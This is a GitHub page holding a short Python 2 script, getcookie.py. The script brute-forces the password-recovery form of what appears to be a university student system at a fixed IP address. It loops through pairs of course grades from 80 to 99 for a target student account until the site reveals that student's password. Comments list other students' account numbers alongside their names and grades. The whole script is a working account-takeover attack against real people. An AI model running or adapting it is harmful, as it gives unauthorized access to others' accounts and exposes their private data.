-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgetcookie.py
62 lines (51 loc) · 1.67 KB
/
getcookie.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import cookielib, urllib, urllib2
import sys
import re
entryUrl = "http://210.27.12.1:90/student/index.jsp"
pwdUrl = "http://210.27.12.1:90/getpwd.jsp"
getpwdUrl = "http://210.27.12.1:90/getPwdAction.do"
cl = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cl))
urllib2.install_opener(opener)
urllib2.urlopen(entryUrl)
urllib2.urlopen(pwdUrl)
para = {
'studentaccount' : '',
'identitycode' : '',
'way' : 'coursecode',
#'loginaccount' : '1203121619', #李双江 91, 75, 82
#'loginaccount' : '1103121609', #乔科
#'loginaccount' : '1203121618', #陈龙刚 93 82, 90
'loginaccount' : '1203121814',
#'loginaccount' : '1203121813', #聂一静 95, 84
'courseAcode' : '0022001', #sport
'courseBcode' : '0922205', #data mining
#'courseBcode' : '0322215', #parallel
}
flag = False
for Ai in range(80, 100):
for Bi in range(80, 100):
para['courseAachievement'] = str(Ai)
para['courseBachievement'] = str(Bi)
#print para
postData = urllib.urlencode(para)
headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'}
req = urllib2.Request(getpwdUrl, postData, headers = headers)
next = urllib2.urlopen(req)
#print next.geturl()
content = next.read()
contentAfter = content.decode("GBK").encode('UTF-8')
#print contentAfter
if(re.search(r'取回密码失败', contentAfter)):
print 'Ai=%d,Bi=%d is wrong!'%(Ai, Bi)
elif(re.search(r'你的密码为', contentAfter)):
print 'Find Ai=%d,Bi=%d'%(Ai, Bi)
flag = True
break
if flag:
break
if flag:
print 'successfully find'
else:
print 'Fail to find'
#print next.read().decode("GBK").encode(type)